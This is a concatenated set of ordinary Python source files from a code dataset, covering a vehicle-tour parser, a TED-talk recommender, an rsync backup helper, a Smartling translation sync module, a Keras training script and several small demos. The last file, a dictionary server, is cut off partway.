registry['tours'][tour['id']]['vehicles'] = []\n \n #print(\"tour: \"+ str(tour['id']) )\n\n #stops in tours\n #sometimes there is a tour with no stops, that's weird. set empty list\n if not 'stops' in t: t['stops'] = []\n for s in t['stops']:\n\n stop = { 'id': s['id'],\n 'type': s['type'],\n 'time_window_begin': s['time_window_begin'],\n 'time_window_end': s['time_window_end'],\n 'rta' : s['rta'],\n 'addresses': [],\n 'facility': \"\"\n }\n\n\n \n #address(s) yeah I know we should decide whether or not we are pluralizing, that's just the ghtrack way.\n for a in s['address']:\n facility = a['location_id']\n #registry['tours'][tour['id']]['stops']\n stop['facility'] = facility\n #print(\"facility: \"+facility)\n \n #there should really only be one address per stop, it's just the\n #way the xml is organized. \n \n #update tour list of stops\n registry['tours'][tour['id']]['stops'].append(stop)\n\n\n # end stops#\n \n #vehicles in tours\n vnum = 0\n for v in t['vehicle']:\n vnum += 1\n #vehicles do not seem to always have a longitude and latitude and timestamp, but may. null them if they do not exist\n if not 'latitude' in v.keys() : v['latitude'] = None\n if not 'longitude' in v.keys(): v['longitude'] = None\n if not 'timestamp' in v.keys(): v['timestamp'] = None\n if not 'name' in v.keys(): v['name'] = None\n\n\n #vehicles have to have a uuid don't they?\n if not 'uuid' in v.keys():\n #print(\"no uuid for vehicle in tour: \"+t['id'])\n v['uuid']=v['license_plate']\n \n\n try:\n #this isn't necessary due to how simple the structure is, but it does verify that we have all these fields in registry\n vehicle = {\n 'name': self._clean_plate(v['name']),\n 'license_plate': self._clean_plate(v['license_plate']),\n 'uuid': v['uuid'],\n 'data_gate_open': v['data_gate_open'],\n 'latitude': v['latitude'],\n 'longitude': v['longitude'],\n 'timestamp': v['timestamp'],\n }\n\n except Exception as e:\n print(\"missing data for tour vehicle: \" +str(vehicle) +': '+str(e))\n \n else:\n #add to tour under vehicles list\n registry['tours'][t['id']]['vehicles'].append(vehicle)\n\n #also add to 'join' dict tour_vehicles, which maps the other way from vehicle -> tours\n #vehicles can be in more than one tour\n #print(\"tour_vehicle: \"+vehicle['name'])\n if not vehicle['name'] in registry['tour_vehicles']:\n registry['tour_vehicles'][vehicle['name']] = []\n #else:\n # print(\"another tour had this vehicle already\")\n\n registry['tour_vehicles'][vehicle['name']].append(tour['id'])\n \n #print(\"tour vehicle: \"+ str(vehicle['name']) )\n\n #end vehicles\n \n def tour_vehicle_report(self, registry, vehicle):\n mytours = registry['tour_vehicles'][vehicle]\n print(\"vehicle \"+vehicle + \"is in \"+str(len(mytours)) + \"tours: \" )\n for t in mytours:\n stops = registry['tours'][t]['stops']\n #print(str(stops))\n if len(stops) == 2:\n msg=\"src: \" + registry['tours'][t]['stops'][0]['facility'] + \" dst: \" + registry['tours'][t]['stops'][1]['facility']\n \n else:\n msg = \"more than two stops\"\n \n print(\"tourid: \"+t +\n \" \" + msg + \n \" begin: \" + registry['tours'][t]['planned_begin'] +\n \" end: \"+ registry['tours'][t]['planned_end'] +\n \" status: \" + registry['tours'][t]['status']\n )\n\n\n\n def _clean_plate(self, vid):\n \"\"\"\n _clean_plate takes a vid string and removes whitespace and dashes, and converts all letters to uppercase\n @param vid: a string representing a vehicle identification\n @return: samve vid, but with spaces and dashes removed and all letters uppercase\n \"\"\"\n try:\n name = \"\".join(\"\".join(vid.split()).split('-')).upper()\n except:\n name = \"NONAME\"\n return(name)\n\n def _clean_tourid(self, tid):\n '''just remove spaces and make everything uppercase'''\n try:\n name = \"\".join(\"\".join(tid.split())).upper()\n except:\n name = \"NONAME\"\n return(name)\n\n\nif __name__ == \"__main__\":\n m = Main()\n \n","sub_path":"ghtrack/single_vehicle_tours.py","file_name":"single_vehicle_tours.py","file_ext":"py","file_size_in_byte":8240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"620777450","text":"\nimport sys, datetime\nfrom pymongo import MongoClient\n\nclass MongoDB:\n def mongoInstance(type, text):\n try:\n client = MongoClient('localhost', 27017)\n print(\"Connected to MongoDB\")\n db = client.Team1\n print(\"Got the Database test_database\")\n collection = db.logs\n print(\"Got the Collection\")\n post = {\"type\":type, \"text\":text, \"date\": datetime.datetime.utcnow()}\n print(\"Created the Document Object\")\n post_id = collection.insert_one(post)\n except:\n e = sys.exc_info()[0]\n print(\"error:%s\"%e)\n","sub_path":"App1/mongo.py","file_name":"mongo.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"565377103","text":"import pandas as pd\nimport nltk\nimport numpy as np\nimport random\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport string\nfrom nltk.corpus import stopwords\nfile = 'data.csv'\n\n'''getting search terms and number of desired results WORKS'''\n\ndef getSearchTerm():\n '''\n This is a basic function gets a query from the user and returns the response as a string\n '''\n query_input = input('Need a break? Let me know what you want to learn about! ')\n return query_input\n\n\ndef getNumResults():\n '''\n This function asks the user for the number of Ted Talks they want.\n User input must be between 1 and 5\n user input must be an integer\n '''\n while True:\n try:\n num_results = int(input('And how many options do you want to choose from? Enter a number from 1-5 '))\n except ValueError:\n # confirming input is integer\n print('That\\'s not a number! I need a number from 1-5 to continue :) ')\n else:\n #confirming input is between 1 and 5\n if 1 <= num_results <= 5:\n break\n else:\n print('That\\'s not a valid entry. I need a number between 1-5 to continue.')\n return num_results\n\n\ndef cleanSearchTerm(query_input):\n '''\n This function returns a Pandas dataframe containing the cleaned user query\n This funcion takes the user query as input and cleans it using NLTK.\n '''\n\n #tokenizing search terms\n query_tokens = nltk.word_tokenize(query_input)\n query_tokens = [w.lower() for w in query_tokens]\n # remove punctuation from each word\n table = str.maketrans('', '', string.punctuation)\n stripped = [w.translate(table) for w in query_tokens]\n # remove remaining tokens that are not alphabetic\n words = [word for word in stripped if word.isalpha()]\n # filter out stop words\n stop_words = set(stopwords.words('english'))\n search_keys = [w for w in words if not w in stop_words]\n data = search_keys\n queryframe = pd.DataFrame(data, columns = ['search_keys'])\n\n queryframe['search_keys'] = queryframe['search_keys'].apply(np.array)\n return queryframe\n\n\n\ndef loadData(file):\n '''\n This function loads in the dataset of TED Talk transcripts and URLs\n and returns a dataframe\n '''\n dataframe = pd.read_csv(file)\n dataframe = dataframe\n dataframe['transcript'] = dataframe['transcript'].apply(np.array)\n return dataframe\n\n\n\ndef getWeights(dataframe, queryframe):\n '''\n This function takes in the transcript data as well as the user query\n and uses the SkLearn TF-IDF vectorizor to return vectors\n for the search terms as well as transcripts.\n '''\n label = \"transcript\"\n label2 = \"search_keys\"\n tfidf_vectorizer = TfidfVectorizer()\n tfidf_weights = tfidf_vectorizer.fit_transform(dataframe.loc[:, label])\n search_query_weights = tfidf_vectorizer.transform(queryframe.loc[:, label2])\n return tfidf_weights, search_query_weights\n\n\ndef cosineSimCalc(search_query_weights, tfidf_weights):\n '''\n This function takes in calculated vectors for the search query and transcripts\n and returns a sorted list of talks based on cosine similarity\n '''\n cosine_distance = cosine_similarity(search_query_weights, tfidf_weights)\n similarity_list = cosine_distance[0]\n return similarity_list\n\n\n\ndef getBestFit(num_results, similarity_list, dataframe):\n '''\n This function returns Ted Talks most relevant to search query\n :param num_results: number of desired results defined by the user in getNumResults()\n :param similarity_list: list of likely matches calculated through cosineSimCalc()\n :param dataframe: dataframe containing transcripts and URLs. Needed to return URLs.\n '''\n best_fit = []\n while num_results > 0:\n tmp = np.argmax(similarity_list)\n best_fit.append(tmp)\n similarity_list[tmp] = 0\n num_results -= 1\n for i in best_fit:\n print(dataframe.iloc[i]['url'])\n\n\ndef main():\n while True:\n query = getSearchTerm()\n num = getNumResults()\n qFrame = cleanSearchTerm(query)\n dFrame = loadData(file)\n tWeights, sWeights = getWeights(dFrame, qFrame)\n #sWeights = getSearchQueryWeights(qFrame)\n simList = cosineSimCalc(sWeights, tWeights)\n\n getBestFit(num, simList, dFrame)\n\n\n\nmain()\n\n","sub_path":"ted_bot.py","file_name":"ted_bot.py","file_ext":"py","file_size_in_byte":4419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"162166442","text":"# -*- coding: utf-8 -*- \n\nimport sys, os\nimport pdb \nimport time\n\n#origin = '/home/niago/Documents/PIBITI_2017-2018/Deep_Learning_Code/2018/'\n#remote_user = 'geovanens@150.165.75.118'\norigin = '/home/geonniago/Documents/PIBITI_2017-2018/Deep_Learning_Code/2018/'\nremote_user = 'geovanens@150.165.75.118'\ndestination = '/home/geovanens/Documentos/COPY'\n\n\ncommand_rsync = \"rsync -vrh --progress --max-size='20000k'\"\nfull_command = ' '.join([command_rsync, origin, remote_user])\nfull_command = ':'.join([full_command, destination])\n\nos.system(full_command)\n\nend=time.time()\n\n","sub_path":"ssh_rsync.py","file_name":"ssh_rsync.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"344296727","text":"# run it with the comman 'python working_with_files.py'\n# in first running the expected output is: file 'some-file.txt' doesn't exists\n# in the second runing the expected output is 10 lines with the prefix 'This is line' \n\ndef create_file():\n f= open(\"some-file.txt\",\"w+\")\n for i in range(10):\n f.write(\"This is line %d\\r\\n\" % (i+1))\n f.close()\n\ndef main():\n try:\n exmp_file = open('some-file.txt', 'r')\n lines = exmp_file.readlines()\n except FileNotFoundError:\n print(\"file 'some-file.txt' doesn't exists\")\n create_file()\n else:\n for line in lines:\n print(line)\n exmp_file.close()\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"python_examples/working_with_files.py","file_name":"working_with_files.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"576624244","text":"\"\"\"Module for i18n methods and functionality\"\"\"\nfrom future import standard_library # isort:skip\nstandard_library.install_aliases() # noqa: E402\n\nfrom collections import defaultdict\nfrom io import BytesIO\nimport os\nimport re\nfrom subprocess import check_call\nimport sys\nimport tempfile\nfrom zipfile import ZipFile\n\nfrom babel import negotiate_locale\nfrom flask import current_app, has_request_context, request, session\nfrom polib import pofile\nimport requests\n\nfrom ..extensions import babel\nfrom ..system_uri import IETF_LANGUAGE_TAG\nfrom .app_text import AppText\nfrom .coding import Coding\nfrom .intervention import Intervention\nfrom .organization import Organization\nfrom .questionnaire_bank import QuestionnaireBank, classification_types_enum\nfrom .research_protocol import ResearchProtocol\nfrom .role import Role\nfrom .user import current_user\n\n\ndef get_db_strings():\n msgid_map = defaultdict(set)\n i18n_fields = {\n AppText: ('custom_text',),\n Intervention: ('description', 'card_html'),\n Organization: ('name',),\n QuestionnaireBank: ('display_name',),\n ResearchProtocol: ('display_name',),\n Role: ('display_name',)\n }\n\n for model, fields in i18n_fields.items():\n for entry in model.query:\n for field_name in fields:\n msgid = getattr(entry, field_name)\n if not msgid:\n continue\n msgid = '\"{}\"'.format(re.sub('\"', r'\\\\\"', msgid))\n msgid_map[msgid].add(\"{model_name}: {field_ref}\".format(\n model_name=model.__name__,\n field_ref=entry.name,\n ))\n return msgid_map\n\n\ndef get_static_strings():\n \"\"\"Manually add strings that are otherwise difficult to extract\"\"\"\n msgid_map = {}\n status_strings = (\n 'Completed',\n 'Due',\n 'In Progress',\n 'Overdue',\n 'Expired',\n )\n msgid_map.update({\n '\"{}\"'.format(s):\n {'assessment_status: %s' % s} for s in status_strings\n })\n\n enum_options = {\n classification_types_enum: ('title',),\n }\n for enum, options in enum_options.items():\n for value in enum.enums:\n for function_name in options:\n value = getattr(value, function_name)()\n msgid_map['\"{}\"'.format(value)] = {'{}: {}'.format(enum.name, value)}\n return msgid_map\n\n\ndef upsert_to_template_file():\n db_translatables = {}\n db_translatables.update(get_db_strings())\n if not db_translatables:\n current_app.logger.warn(\"no DB strings extracted\")\n return\n\n db_translatables.update(get_static_strings())\n\n try:\n with open(\n os.path.join(\n current_app.root_path,\n \"translations/messages.pot\",\n ),\n \"r+\",\n ) as potfile:\n potlines = potfile.readlines()\n for i, line in enumerate(potlines):\n if not line.split() or (line.split()[0] != \"msgid\"):\n continue\n msgid = line.split(\" \", 1)[1].strip()\n if msgid not in db_translatables:\n continue\n for location in db_translatables[msgid]:\n locstring = \"# \" + location + \"\\n\"\n if not any(t == locstring for t in potlines[i-4:i]):\n potlines.insert(i, locstring)\n del db_translatables[msgid]\n for entry, locations in db_translatables.items():\n if not entry:\n continue\n for loc in locations:\n potlines.append(\"# \" + loc + \"\\n\")\n potlines.append(\"msgid \" + entry + \"\\n\")\n potlines.append(\"msgstr \\\"\\\"\\n\")\n potlines.append(\"\\n\")\n potfile.truncate(0)\n potfile.seek(0)\n potfile.writelines(potlines)\n except:\n exceptionType, exceptionValue, exceptionTraceback = sys.exc_info()\n sys.exit(\"Could not write to translation file!\\n ->%s\" % (exceptionValue))\n\n\ndef fix_references(pot_fpath):\n \"\"\"Fix reference comments to remove checkout-specific paths\"\"\"\n # Todo: override PoFileParser._process_comment() to perform this as part of `pybabel extract`\n\n path_regex = re.compile(r\"^#: {}(?P.*):(?P\\d+)\".format(\n os.path.dirname(current_app.root_path)\n ))\n base_url = \"%s/tree/develop\" % current_app.config.metadata['home-page']\n\n with open(pot_fpath) as infile, tempfile.NamedTemporaryFile(\n prefix='fix_references_',\n suffix='.pot',\n delete=False,\n ) as tmpfile:\n for line in infile:\n tmpfile.write(path_regex.sub(r\"#: %s\\g#L\\g\" % base_url, line))\n\n os.rename(tmpfile.name, pot_fpath)\n current_app.logger.debug(\"messages.pot file references fixed\")\n\ndef smartling_authenticate():\n url = 'https://api.smartling.com/auth-api/v2/authenticate'\n headers = {'Content-type': 'application/json'}\n data = {\n \"userIdentifier\": current_app.config.get(\"SMARTLING_USER_ID\"),\n \"userSecret\": current_app.config.get(\"SMARTLING_USER_SECRET\")\n }\n resp = requests.post(url, json=data, headers=headers)\n if resp.status_code != 200:\n sys.exit(\"could not connect to smartling\")\n resp_json = resp.json()\n if ('response' in resp_json) and ('data' in resp_json['response']):\n token = resp_json['response']['data'].get('accessToken')\n if not token:\n sys.exit(\"no smartling access token found\")\n return token\n\n\ndef smartling_upload():\n # get relevant filepaths\n config_fname = current_app.config['BABEL_CONFIG_FILENAME']\n translation_fpath = os.path.join(current_app.root_path, \"translations\")\n messages_pot_fpath = os.path.join(translation_fpath, 'messages.pot')\n config_fpath = os.path.join(current_app.root_path, \"../instance/\", config_fname)\n\n # create new .pot file from code\n check_call((\n 'pybabel', 'extract',\n '--no-wrap',\n '--mapping-file', config_fpath,\n '--project', current_app.config.metadata['name'],\n '--version', current_app.config.metadata['version'],\n '--output-file', messages_pot_fpath,\n current_app.root_path,\n ))\n current_app.logger.debug(\"messages.pot file generated\")\n\n # update .pot file with db values\n upsert_to_template_file()\n current_app.logger.debug(\"messages.pot file updated with db strings\")\n\n fix_references(messages_pot_fpath)\n\n upload_pot_file(messages_pot_fpath, 'messages.pot',\n 'portal/translations/messages.pot')\n\n frontend_pot_fpath = os.path.join(translation_fpath, \"js\",\n \"src\", \"frontend.pot\")\n\n fix_references(frontend_pot_fpath)\n\n upload_pot_file(frontend_pot_fpath, 'frontend.pot',\n 'portal/translations/js/src/frontend.pot')\n\n\ndef upload_pot_file(fpath, fname, uri):\n project_id = current_app.config.get(\"SMARTLING_PROJECT_ID\")\n if project_id and current_app.config.get(\"SMARTLING_USER_SECRET\"):\n # authenticate smartling\n auth = smartling_authenticate()\n current_app.logger.debug(\"authenticated in smartling\")\n # upload .pot file to smartling\n with open(fpath, 'rb') as potfile:\n headers = {'Authorization': 'Bearer {}'.format(auth)}\n files = {'file': (fname, potfile)}\n data = {\n 'fileUri': uri,\n 'fileType': 'gettext'\n }\n resp = requests.post('https://api.smartling.com'\n '/files-api/v2/projects/{}'\n '/file'.format(project_id),\n data=data, files=files, headers=headers)\n resp.raise_for_status()\n current_app.logger.debug(\n \"{} uploaded to smartling project {}\".format(fname, project_id)\n )\n else:\n current_app.logger.warn(\"missing smartling configuration - file {} \"\n \"not uploaded\".format(fname))\n\n\ndef smartling_download(state, language=None):\n translation_fpath = os.path.join(current_app.root_path, \"translations\")\n # authenticate smartling\n auth = smartling_authenticate()\n current_app.logger.debug(\"authenticated in smartling\")\n # GET file(s) from smartling\n headers = {'Authorization': 'Bearer {}'.format(auth)}\n download_and_extract_po_file(\n language=language,\n fname='messages',\n uri='portal/translations/messages.pot',\n state=state,\n headers=headers,\n )\n download_and_extract_po_file(\n language=language,\n fname='frontend',\n uri='portal/translations/js/src/frontend.pot',\n state=state,\n headers=headers,\n )\n\n\ndef download_and_extract_po_file(language, fname, headers, uri, state):\n project_id = current_app.config.get(\"SMARTLING_PROJECT_ID\")\n if language:\n response_content = download_po_file(\n language=language,\n project_id=project_id,\n uri=uri,\n state=state,\n headers=headers,\n )\n extract_po_file(language, response_content, fname)\n else:\n zfp = download_zip_file(\n uri=uri,\n project_id=project_id,\n state=state,\n headers=headers,\n )\n for langfile in zfp.namelist():\n langcode = re.sub('-', '_', langfile.split('/')[0])\n data = zfp.read(langfile)\n if not data or not langcode:\n sys.exit('invalid po file for {}'.format(langcode))\n extract_po_file(langcode, data, fname)\n current_app.logger.debug(\n \"{}.po files updated, mo files compiled\".format(fname))\n\n\ndef download_po_file(language, headers, project_id, uri, state):\n if not re.match(r'[a-z]{2}_[A-Z]{2}', language):\n sys.exit('invalid language code; expected format xx_XX')\n language_id = re.sub('_', '-', language)\n url = 'https://api.smartling.com/files-api/v2/projects/{}/locales/{}/file'.format(\n project_id,\n language_id,\n )\n resp = requests.get(\n url,\n headers=headers,\n params={\n 'retrievalType': state,\n 'fileUri': uri,\n },\n )\n if not resp.content:\n sys.exit('no file returned')\n current_app.logger.debug(\"{} po file downloaded \"\n \"from smartling\".format(language))\n return resp.content\n\n\ndef download_zip_file(headers, project_id, uri, state):\n url = 'https://api.smartling.com/files-api/v2/projects/{}/locales/all/file/zip'.format(\n project_id\n )\n resp = requests.get(\n url,\n headers=headers,\n params={\n 'retrievalType': state,\n 'fileUri': uri,\n },\n )\n if not resp.content:\n sys.exit('no file returned')\n current_app.logger.debug(\"zip file downloaded from smartling\")\n fp = BytesIO(resp.content)\n return ZipFile(fp, \"r\")\n\n\ndef extract_po_file(language, data, fname):\n po_dir = os.path.join(\n current_app.root_path,\n \"translations\",\n language,\n 'LC_MESSAGES',\n 'temp_{}.po'.format(fname),\n )\n po_path = os.path.join(po_dir, 'temp_{}.po'.format(fname))\n\n # Create directory if necessary\n try:\n os.makedirs(po_dir)\n except OSError:\n if not os.path.isdir(po_dir):\n raise\n\n with open(po_path, \"wb\") as fout:\n fout.write(data)\n current_app.logger.debug(\"{} po file extracted\".format(language))\n merge_po_into_master(po_path, language, fname)\n os.remove(po_path)\n\n\ndef merge_po_into_master(po_path, language, fname):\n master_path = os.path.join(current_app.root_path, \"translations\",\n language, 'LC_MESSAGES')\n mpo_path = os.path.join(master_path, '{}.po'.format(fname))\n incoming_po = pofile(po_path)\n if os.path.isfile(mpo_path):\n master_po = pofile(mpo_path)\n\n for entry in incoming_po:\n if master_po.find(entry.msgid):\n master_po.find(entry.msgid).msgstr = entry.msgstr\n else:\n master_po.append(entry)\n\n master_po.save(mpo_path)\n master_po.save_as_mofile(os.path.join(master_path, '{}.mo'.format(fname)))\n else:\n incoming_po.save(mpo_path)\n incoming_po.save_as_mofile(os.path.join(master_path, '{}.mo'.format(fname)))\n\n\n@babel.localeselector\ndef get_locale():\n if current_user() and current_user().locale_code:\n return current_user().locale_code\n\n # look for session variable in pre-logged-in state\n # confirm request context - not available from celery tasks\n if has_request_context():\n if session.get('locale_code'):\n return session['locale_code']\n browser_pref = negotiate_locale(\n preferred=(\n l.replace('-', '_') for l in request.accept_languages.values()\n ),\n available=(\n c.code for c in Coding.query.filter_by(system=IETF_LANGUAGE_TAG)\n ),\n )\n if browser_pref:\n return browser_pref\n return current_app.config.get(\"DEFAULT_LOCALE\")\n","sub_path":"portal/models/i18n.py","file_name":"i18n.py","file_ext":"py","file_size_in_byte":13234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"44111240","text":"import threading\r\n\r\n# first version\r\ndef function(arg):\r\n print(\"I have \" + arg)\r\n \r\nth1 = threading.Thread(target=function, args=(\"nothing\",))\r\n\r\n# second version\r\n\r\nclass MyThread(threading.Thread):\r\n def __init__(self, value):\r\n super().__init__()\r\n self.value = value\r\n\r\n def run(self):\r\n print(\"I have \" + self.value)\r\n \r\nth2 = MyThread(\"something\")\r\n\r\n# запускаем потоки\r\nth1.start()\r\nth2.start()\r\n\r\n# заставляем главный поток дожидаться порожденных потоков\r\nth1.join()\r\nth2.join()","sub_path":"threading/simple.py","file_name":"simple.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"221761297","text":"# -*- coding: utf-8 -*-\n\nfrom django.conf.urls import url\n\nfrom macro import views\nfrom macro.views import IndexView\n\nurlpatterns = [\n url(r'^$', IndexView.as_view(), name='index'),\n url(r'^detail/(?P\\d+)/$', views.MacroDetail.as_view(), name='detail'),\n url(r'^upload/$', views.upload, name='upload'),\n url(r'^download/$', views.download, name='download'),\n url(r'^open/$', views.open_macro, name='open'),\n url(r'^close/$', views.close_macro, name='close'),\n url(r'^slot_register/$', views.slot_register, name='slotRegister'),\n url(r'^select/$', views.select_macro, name='select'),\n]\n","sub_path":"macronia/macro/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"1816671","text":"from base import QuickbooksManagedObject\n\n\nclass TaxRate(QuickbooksManagedObject):\n \"\"\"\n QBO definition: A TaxRate object represents rate applied to calculate tax liability. Use the TaxService\n entity to create a taxrate.\n \"\"\"\n class_dict = {}\n\n qbo_object_name = \"TaxRate\"\n\n def __init__(self):\n super(TaxRate, self).__init__()\n self.Name = \"\"\n self.Description = \"\"\n self.RateValue = 0\n self.SpecialTaxType = \"\"\n self.Active = True\n\n self.AgencyRef = None\n self.TaxReturnLineRef = None\n\n def __unicode__(self):\n return self.Name\n\n\n","sub_path":"quickbooks/objects/taxrate.py","file_name":"taxrate.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"329886262","text":"import sklearn.neighbors\nfrom sklearn.neighbors import NearestNeighbors\nfrom sklearn.neighbors import KDTree\nimport pandas as pd\nimport numpy as np \nimport math\nimport csv \n\nclass Natural_Neighbor(object):\n\n def __init__(self): \n self.nan_edges = {}\n self.nan_num = {}\n self.repeat = {}\n self.target = []\n self.data = []\n self.knn = {}\n \n def load(self, filename):\n aux = []\n with open(filename, 'r') as dataset: \n data = list(csv.reader(dataset))\n #print(data)\n data.pop(0)\n for inst in data: \n #print(inst)\n inst_class = inst.pop(-1)\n self.target.append(inst_class)\n row = [float(x) for x in inst]\n aux.append(row)\n self.data = np.array(aux)\n \n def asserts(self): \n for j in range(len(self.data)): \n self.knn[j] = set()\n self.nan_edges[j] = set()\n self.nan_num[j] = 0\n self.repeat[j] = 0\n \n def count(self): \n nan_zeros = 0 \n for x in self.nan_num: \n if self.nan_num[x] == 0: \n nan_zeros += 1 \n #print(nan_zeros)\n return nan_zeros\n \n def findKNN(self, inst, r, tree): \n dist, ind = tree.query([inst], r+1)\n #print(dist, ind)\n return np.delete(ind[0], 0)\n\n def algorithm(self):\n # ASSERT\n tree = KDTree(self.data)\n self.asserts()\n flag = 0 \n r = 1 \n \n while(flag == 0): \n for i in range(len(self.data)): \n knn = self.findKNN(self.data[i], r, tree)\n n = knn[-1]\n for c in knn:\n self.knn[i].add(c)\n #print(r, i, self.knn[i], len(self.knn[i]))\n if(i in self.knn[n] and (i,n) not in self.nan_edges): \n self.nan_edges[i] = n \n self.nan_edges[n] = i #checar se precisa disso aqui\n self.nan_num[i] += 1\n self.nan_num[n] += 1 \n \n cnt = self.count()\n rep = self.repeat[cnt]\n self.repeat[cnt] += 1\n if(cnt == 0 or rep >= math.sqrt(r - rep)): \n flag = 1 \n else: \n r += 1 \n return r\n\nn = Natural_Neighbor()\nfor i in range(1,201):\n n.load(\"Natural-Neighbor/tests/exp2/UDD/\"+str(i)+\".csv\")\n print(n.algorithm())\n\n","sub_path":"src/nan.py","file_name":"nan.py","file_ext":"py","file_size_in_byte":2482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"549033082","text":"'''\n2015/11/08 Eunjin Cho\nMain class to run k-nearest neighbors\n'''\nfrom knn import *\nfrom pro_data import *\n\ndef main():\n\n\tbasic_file = open(\"basic.txt\")\n\ttrain_file = open(\"train.csv\")\n\tvalid_file = open(\"validation.csv\")\n\ttest_file = open(\"test.csv\")\n\n\tinfo_set = Dataset(basic_file, train_file, valid_file, test_file)\n\tinfo_set.read_basic()\n\tinfo_set.read_train()\n\tinfo_set.read_test()\n\tknn_class = Knn(info_set)\n\tknn_class.run_knn()\n\nmain()","sub_path":"K_Nearest_Neighbor/z_example/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"476793140","text":"from multiprocessing import Process, Lock, Queue\nfrom datetime import datetime\nimport time\nimport os\nimport logging\n\nlogging.basicConfig(level=logging.INFO, format='%(asctime)-15s, %(threadName)s %(message)s')\n\ndef clock(interval):\n while True:\n print('now is {}, pid is {}'.format(datetime.now(), os.getpid()))\n time.sleep(1)\n\ndef process_sync(l, num):\n '''\n process sync\n '''\n l.acquire()\n logging.info(os.getpid())\n l.release()\n\ndef process_communication():\n '''\n\n '''\n\nif __name__ == '__main__':\n\n #for i in range(3):\n # p = multiprocessing.Process(target=clock, args=(1, ))\n # p.start()\n # p.join()\n\n # example-2: process sync\n lock = Lock()\n for num in range(10):\n Process(target=process_sync, args=(lock, num)).start()\n\n\n","sub_path":"threads/process_multi2.py","file_name":"process_multi2.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"48839524","text":"# coding: utf-8\n# In[30]:\nfrom keras.models import Sequential\nimport numpy as np\nimport pandas\nfrom keras.layers import Dense, Activation, Dropout, LSTM\nimport wrangle as wr\nfrom matplotlib import pyplot\nfrom keras import callbacks\n\nmodel = Sequential()\nmodel.add(Dense(units=600, input_dim=9,kernel_initializer='normal', activation='elu'))\nmodel.add(Dense(units=600, input_dim=9,kernel_initializer='normal', activation='elu'))\nmodel.add(Dense(units=600, input_dim=9,kernel_initializer='normal', activation='elu'))\n# self.model.add(Dropout(0.1))\n# self.model.add(Dropout(0.1))\nmodel.add(Dense(units=4,kernel_initializer='normal', activation='tanh'))\nmodel.compile(loss='mae', optimizer='adam')\nmodel.summary()\n\nmodel_name = \"600x600x600_tanh\"\n\n# serialize model to JSON\nmodel_json = model.to_json()\nwith open(model_name+\".json\", \"w\") as json_file:\n json_file.write(model_json)\n\ndataset = pandas.read_csv(\"/home/letrend/workspace/roboy_control/data0.log\", delim_whitespace=True, header=1)\ndataset = dataset.values[:,0:]\nnp.random.shuffle(dataset)\nquaternion_set = np.array(dataset[:,0:4])\nsensors_set = np.array(dataset[:,4:13])\nsensors_set = wr.mean_zero(pandas.DataFrame(sensors_set)).values\ndata_in_train = sensors_set[:int(len(sensors_set)*0.8),:]\ndata_in_test = sensors_set[int(len(sensors_set)*0.8):,:]\ndata_out_train = quaternion_set[:int(len(sensors_set)*0.8),:]\ndata_out_test = quaternion_set[int(len(sensors_set)*0.8):,:]\n\ntrain_X = data_in_train\ntest_X = data_in_test\ntrain_y = data_out_train\ntest_y = data_out_test\nprint(train_X.shape, train_y.shape, test_X.shape, test_y.shape)\nfilepath=model_name+\"_checkpoint.h5\"\ncallbacks_list = [callbacks.ModelCheckpoint(filepath, monitor='val_loss', verbose=1, save_best_only=True, mode='min'), callbacks.TensorBoard(log_dir='./log_mlp', update_freq='epoch')]\n# fit network\nhistory = model.fit(train_X, train_y, epochs=150, batch_size=100, validation_data=(test_X, test_y), verbose=2, shuffle=True, callbacks=callbacks_list)\n# plot history\npyplot.plot(history.history['loss'], label='train')\npyplot.plot(history.history['val_loss'], label='test')\npyplot.legend()\npyplot.show()\n\n# result = model.predict(train_X)\n# print(result)\n# serialize weights to HDF5\nmodel.save(model_name+\".h5\")\nprint(\"Saved model to disk\")\n","sub_path":"python_old/shoulder_training_mlp.py","file_name":"shoulder_training_mlp.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"567792739","text":"\"\"\"\n dict 服务端\n\n 功能:业务逻辑处理\n 模型多进程tcp并发\n\"\"\"\nfrom operation_db import *\nfrom socket import *\nfrom multiprocessing import Process\nimport signal,sys\nfrom time import sleep\n\n# 全局变量\nHOST = \"0.0.0.0\"\nPORT = 8956\nADDR = (HOST,PORT)\n# 数据库对象\ndb = Database()\n\n# 注册处理\ndef do_register(connfd, data):\n # 对数据进行处理-->按照空格切割\n tmp = data.split(\" \")\n name = tmp[1]\n password = tmp[2]\n if db.register(name, password):\n connfd.send(b\"OK\")\n else:\n connfd.send(b\"Fail\")\n\n# 登录处理\ndef do_login(connfd,data):\n tmp = data.split(\" \")\n name = tmp[1]\n password = tmp[2]\n if db.login(name,password):\n connfd.send(b\"OK\")\n else:\n connfd.send(b\"Fail\")\n\n# 查询单词\ndef do_query(connfd,data):\n tmp = data.split(\" \")\n name = tmp[1]\n word = tmp[2]\n 